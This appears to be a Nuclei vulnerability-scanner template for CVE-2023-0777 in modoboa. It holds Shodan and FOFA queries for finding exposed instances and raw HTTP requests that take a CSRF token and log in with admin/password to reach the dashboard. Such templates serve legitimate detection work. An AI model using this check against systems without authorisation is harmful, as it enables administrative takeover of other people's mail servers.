70 lines
2.1 KiB
YAML
70 lines
2.1 KiB
YAML
id: CVE-2023-0777
|
|
|
|
info:
|
|
name: modoboa 2.0.4 - Admin TakeOver
|
|
author: r3Y3r53
|
|
severity: critical
|
|
description: |
|
|
Authentication Bypass by Primary Weakness in GitHub repository modoboa/modoboa prior to 2.0.4.
|
|
remediation: update to version 2.0.4
|
|
reference:
|
|
- https://huntr.dev/bounties/a17e7a9f-0fee-4130-a522-5a0466fc17c7/
|
|
- http://packetstormsecurity.com/files/171744/modoboa-2.0.4-Admin-Takeover.html
|
|
- https://github.com/modoboa/modoboa/commit/47d17ac6643f870719691073956a26e4be0a4806
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2023-0777
|
|
cwe-id: CWE-305,NVD-CWE-Other
|
|
epss-score: 0.03081
|
|
epss-percentile: 0.89913
|
|
cpe: cpe:2.3:a:modoboa:modoboa:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 3
|
|
vendor: modoboa
|
|
product: modoboa
|
|
shodan-query: html:"Modoboa"
|
|
fofa-query: body="Modoboa"
|
|
tags: huntr,packetstorm,modoboa,default-login
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /accounts/login/ HTTP/1.1
|
|
Host: {{Hostname}}
|
|
- |
|
|
POST /accounts/login/ HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
csrfmiddlewaretoken={{csrftoken}}&username={{username}}&password={{password}}&next=%2F
|
|
- |
|
|
GET /dashboard/ HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
payloads:
|
|
username:
|
|
- admin
|
|
password:
|
|
- password
|
|
attack: pitchfork
|
|
cookie-reuse: true
|
|
host-redirects: true
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'status_code_3 == 200'
|
|
- 'contains(content_type_3, "text/html")'
|
|
- 'contains(body_3, "Dashboard") && contains(body_3, "Hello admin")'
|
|
condition: and
|
|
|
|
extractors:
|
|
- type: regex
|
|
part: header
|
|
name: csrftoken
|
|
internal: true
|
|
group: 1
|
|
regex:
|
|
- csrftoken=([A-Za-z0-9]+)
|
|
# digest: 4a0a00473045022100b1cb8402911e6dfd0bba23e3aa58af0ada1ded82a55bec9c94b57ade85cf6c000220108fd79c1c3568931d4881e58588a2fa9769cedaa10ebbf2274c089b93b1cd39:922c64590222798bb761d5b6d8e72950 |